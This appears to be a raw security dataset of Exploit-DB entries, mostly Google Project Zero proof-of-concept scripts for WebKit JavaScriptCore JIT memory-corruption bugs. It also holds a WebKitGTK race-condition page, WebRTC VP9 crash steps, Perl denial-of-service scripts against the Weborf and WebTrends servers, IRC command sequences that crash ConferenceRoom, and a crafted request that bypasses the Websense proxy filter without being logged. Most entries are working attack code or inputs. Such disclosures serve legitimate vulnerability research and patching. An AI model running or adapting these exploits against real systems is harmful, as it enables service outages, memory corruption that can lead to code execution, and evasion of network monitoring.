deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42190
Description: WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlock
Type: dos
Platform: multiple
Date: 2017-06-16
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1220

When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.
For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[5] = 2;
    arr[2] = 3;
}

f();

Note: parseInt is for forcing to start the JIT optimization.

Here's a snippet IntegerCheckCombiningPhase::handleBlock.

void handleBlock(BlockIndex blockIndex)
{
    ...
        if (range.m_count) {
            if (data.m_addend > range.m_maxBound) {
                range.m_maxBound = data.m_addend;
                range.m_maxOrigin = node->origin.semantic;
            } else if (data.m_addend < range.m_minBound) {
                range.m_minBound = data.m_addend;
                range.m_minOrigin = node->origin.semantic;
            }
    ...
}

The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.

PoC:
-->

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[-0x12345678] = 2;
}

f();
Exploit-DB #46448
Description: WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter
Type: dos
Platform: multiple
Date: 2019-02-22
Author: Google Security Research

Exploit:
/*
https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392

    if (value.attributes() & PropertyAttribute::PropertyCallback) {
        JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
        thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
        const DOMJIT::GetterSetter* domJIT = value.domJIT();
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
    thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));

It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.

PoC:
*/

function opt(o) {
    return o.r.input;
}

Object.assign({}, RegExp);  // Reifying

for (let i = 0; i < 200000; i++) {
    opt({r: RegExp});
}

let input = opt({r: RegExp});   // Pulling the CustomGetterSetter object.

let o = {
    a0: 0x1234,
    a1: 0x1234,
    a2: 0x1234,
    a3: 0x1234,
    a4: 0x1234,
    a5: 0x1234,
    a6: 0x1234,
    a7: 0x1234,
    a8: 0x1234,
    a9: 0x1234,
    a10: 0x1234,
    a11: 0x1234,
}

o.input = input;

print(o.input);  // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.
Exploit-DB #45910
Description: WebKit JSC JIT - 'JSPropertyNameEnumerator' Type Confusion
Type: dos
Platform: multiple
Date: 2018-11-29
Author: Google Security Research

Exploit:
/*
When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the "this" object of every get_by_id expression taking the loop variable as the index is compared to the cached structure ID from the JSPropertyNameEnumerator object. If it's the same, the "this" object of the get_by_id expression will be considered having the same structure as the input object to the for-in loop has.

The problem is, it doesn't have anything to prevent the structure from which the cached structure ID from being freed. As structure IDs can be reused after their owners get freed, this can lead to type confusion.

PoC:
*/

function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(obj) {
    // Starting the optimization.
    for (let i = 0; i < 500; i++) {

    }

    let tmp = {a: 1};

    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
        tmp.__proto__ = {};

        gc();

        obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

        return obj[k];  // Type confusion.
    }
}

opt({});

let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory);
print(fake_object);
Exploit-DB #46183
Description: WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free
Type: dos
Platform: multiple
Date: 2019-01-16
Author: Google Security Research

Exploit:
/*
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC:
*/

function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0].charAt(0);
    arr[1].charAt(0);
    arr[2].charAt(0);
    arr[3].charAt(0);
    arr[4].charAt(0);
    arr[5].charAt(0);
    arr[6].charAt(0);
    arr[7].charAt(0);
    arr[8].charAt(0);
    arr[8].charAt(0);
    arr[9].charAt(0);

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main();
Exploit-DB #47316
Description: Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform
Type: dos
Platform: multiple
Date: 2019-08-29
Author: Google Security Research

Exploit:
https://github.com/WebKit/webkit/blob/94e868c940d46c[PII_REDACTED]d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234
Exploit-DB #46651
Description: WebKitGTK+ - 'ThreadedCompositor' Race Condition
Type: dos
Platform: multiple
Date: 2019-04-03
Author: Google Security Research

Exploit:
<!--
VULNERABILITY DETAILS
The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.


REPRODUCTION CASE
-->

<html>
<style>
@keyframes foo {
    0% { opacity: 0; }
    100% { opacity: 1; }
}

div {
  animation-name: foo;
  animation-duration: 1s;
  animation-iteration-count: infinite;
  filter: saturate(50%);
}
</style>
<body>
<script>
    frame = document.createElement("iframe");

    setInterval(_ => {
      frame.remove();
      document.body.appendChild(frame);

      doc = frame.contentDocument;
      doc.head.appendChild(document.querySelector("style").cloneNode(true));

      elt = document.createElement("div");
      elt.textContent = "foo";
      let elements = [];

      for (let i = 0, count = Math.random() * 50; i < count; ++i) {
        elements[i] = doc.body.appendChild(elt.cloneNode(true));
        elements[i].clientWidth;
      }
    }, Math.random() * 500);
</script>
</body>
</html>

<!--
VERSION
Reproduced on WebKitGTK+ build revision 240647.
This bug doesn't seem to affect WebKit on macOS/iOS.
-->
Exploit-DB #20534
Description: WebMaster ConferenceRoom 1.8 Developer Edition - Denial of Service
Type: dos
Platform: multiple
Date: 2001-01-10
Author: Murat - 2

Exploit:
source: https://www.securityfocus.com/bid/2178/info

WebMaster ConferenceRoom Developer Edition is a chat package which enables a large community of users to chat together. ConferenceRoom has a wide range of capabilities and a user friendly channel moderation feature.

It is possible to cause a denial of service in ConferenceRoom. By making duplicate connections and executing special server commands in both sessions, ConferenceRoom will crash and refuse any new connections. A restart of the service is required in order to gain normal functionality. 

ConferenceRoom 1.8.1:

Make to connections to the irc server second being the clone of other. On second connection (clone) type "/ns buddy on". on first connection type "/ns buddy add <clone client nickname>". on clone type "/ns auth accept 1" and the services crashes.

ConferenceRoom 1.8.2:

"/ns buddy on" can't run, cuz professional edt. can't support "buddy" command. Register it one channel, and type it commands "/ns set authorize chanlists on", "/cs aop <#ChannelName> add <NickName>", "/ns auth accept 1". and the services crashes.
Exploit-DB #14012
Description: Weborf HTTP Server - Denial of Service
Type: dos
Platform: multiple
Date: 2010-06-24
Author: Crash

Exploit:
[DCA-0012]

[Software]
- Weborf HTTP Server

[Vendor Product Description]
- Weborf is a lightweight Web server written in C. It supports IPv6
and basic authentication. It doesn't implement the full HTTP
specification, but can be used to easily share directories or files.

[Bug Description]
- Weborf HTTP Server can't handle unicode characters in "Connection: "
general header-field leading to a Denial-of-Service flaw

[History]
- Advisory sent to vendor on 06/21/2010.
- Vendor reply 06/22/2010.
- Vendor patch published 06/23/2010


[Impact]
- Low

[Affected Version]
-Weborf 0.12.1
- Prior versions may also be vulnerable.

[Exploit]

#!/usr/bin/perl
use IO::Socket;

       if (@ARGV < 1) {
               usage();
       }

       $ip     = $ARGV[0];
       $port   = $ARGV[1];

       print "[+] Sending request...\n";

       $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
       print $socket "GET / HTTP/1.0\r\n";
       print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";

       close($socket);

       print "[+] Done!\n";

sub usage() {
       print "[-] Usage: <". $0 ."> <host> <port>\n";
       print "[-] Example: ". $0 ." 127.0.0.1 80\n";
       exit;
}
---------------------------------------------------------------------------------
-------

DcLabs Security Group
Sponsor: ipax
ipax@dclabs.com.br

[Credits]
Crash and all DcLabs members.
Exploit-DB #44862
Description: WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access
Type: dos
Platform: multiple
Date: 2018-06-08
Author: Google Security Research

Exploit:
There is a missing check in VP9 frame processing that could lead to memory corruption.

In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::ManageFrameVp9 fetches the GofInfo based on a pic_idx parsed from the incoming packet header. If the incoming frame is of type kVideoFrameKey, find is called on an iterator and the result is used without checking whether the it succeeds.

 if (frame->frame_type() == kVideoFrameKey) {
    ...
    GofInfo info = gof_info_.find(codec_header.tl0_pic_idx)->second;
    FrameReceivedVp9(frame->id.picture_id, &info);
    UnwrapPictureIds(frame);
    return kHandOff;
  }

This can cause a pointer to memory outside the gof_info_ map to be passed to FrameReceivedVp9. This function both reads and writes the info structure.

This issue does not crash reliably, so I recommend reproducing it using an asan build of Chrome. To reproduce the issue:

1) unzip the attached webrtc-from-chat.zip on a local webserver
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
3) build webrtc, including the examples
4) run the attached webrtcserver.py with python 3.6 or higher
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
7) Enter any username and hit "Log in"
8) Type anything into the chat window at the bottom and hit send

Chrome should crash in a few seconds.

Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.

This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.

I recommend fixing this by changing the above code to:

    auto gof_info_it = gof_info_.find(codec_header.tl0_pic_idx);
    if (gof_info_it == gof_info_.end())
        return kDrop;
    GofInfo info = gof_info_it->second;
    FrameReceivedVp9(frame->id.picture_id, &info);

I have verified that this fix would prevent the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44862.zip
Exploit-DB #44863
Description: WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access
Type: dos
Platform: multiple
Date: 2018-06-08
Author: Google Security Research

Exploit:
There is a missing check in VP9 frame processing that could lead to memory corruption.

In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::MissingRequiredFrameVp9 contains the following code:

  size_t temporal_idx = info.gof->temporal_idx[gof_idx];
  ...
  for (size_t l = 0; l < temporal_idx; ++l) {
      ...
      auto missing_frame_it = missing_frames_for_layer_[l].lower_bound(ref_pid);

missing_frames_for_layer_ is a std::array of length kMaxTemporalLayers which equals 5.

Meanwhile, values in the temporal_idx array are read in rtp_format_vp9.cc in the following code:

    RETURN_FALSE_ON_ERROR(parser->ReadBits(&t, 3));
    ...
    vp9->gof.temporal_idx[i] = t;

Reading three bits makes the maximum size of temporal_idx 7, which can go out of bounds of the missing_frames_for_layer_ array.

This issue causes a crash in Chrome. To reproduce the issue.

1) unzip the attached webrtc-from-chat.zip on a local webserver
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
3) build webrtc, including the examples
4) run the attached webrtcserver.py with python 3.6 or higher
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
7) Enter any username and hit "Log in"
8) Type anything into the chat window at the bottom and hit send

The attached file 'missingframe' contains the VP9 frame that causes this crash.

Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.

This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44863.zip
Exploit-DB #22935
Description: Websense Proxy - Filter Bypass
Type: dos
Platform: multiple
Date: 2012-11-26
Author: Nahuel Grisolia

Exploit:
Websense Proxy Filter Bypass



1. Advisory Information

Date published: 2012-11-25

Vendors contacted: Websense

Release mode: Coordinated release (Vendor was notified) 

2. Vulnerability Information

Class: Filter Bypass

Remotely Exploitable: Yes



3. Software Description

Internet access management system allows an organization to monitor, report and manage internal Internet use.



4. Vulnerability Description

An authenticated user could successfully bypass URL restrictions and access unauthorized sites.

5. Vulnerable packages

All ? No patch available yet

6. Technical Description - PoC

It's possible to bypass the proxy filter by issuing the following specially crafted request:



====

GET www.facebook.com http/1.1

Accept: text/Html, application/xHtml+xml, */*

Accept-Language: es-AR

Cache-Control: no-cache

Content-length: 1



GET ://OTHERURL/OTHEROTHER

a

====



And Websense will fetch the Facebook site and log "OTHERURL" (which is also fetched in the background).



To be completely stealth, just remove ?a? char and no log will be recorded.



Limitations: It's only possible to issue GET requests.



It will only work if the remote Webserver accepts malformed GET requests specifying a Content-Length, like Facebook, Hotmail, Etc. The attacker might use a WebProxy with this property, completely bypassing the filter.



7. Credits

Nahuel Grisolia discovered this vulnerability.

nahuel@cintainfinita.com.ar

http://cintainfinita.com.ar



8. Report Timeline

* 2012-04-23 / Vulnerability identified

* 2012-04-23 / Vendor contacted

* 2012-04-23 / Vulnerability details sent to Vendor

* 2012-04-23 ? 2012-11-24 / Multiple contacts

* 2012-11-25 / Vulnerability Disclosed ? PoC attached
Exploit-DB #19446
Description: WebTrends Enterprise Reporting Server 1.5 - Negative Content Length Denial of Service
Type: dos
Platform: multiple
Date: 1999-08-08
Author: rpc

Exploit:
source: https://www.securityfocus.com/bid/569/info

Specifying a negative content-length in a POST operation to the WebTrends Enterprise Reporting Server will crash the web server. 

#!/usr/bin/perl -w
# Example DoS against WebTrends Enterprise Reporting Server
# 8/8/99
# rpc <jared@antisocial.com>

use IO::Socket;

die "usage: $0 <host> <port>" unless (@ARGV == 2);

($host, $port) = @ARGV;


$s = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp') 
or die "Can't create socket.";

print $s "POST /\r\n";
print $s "Content-type: text/plain\r\n";
print $s "Content-length: -1", "\r\n"x5;

print "done.\n";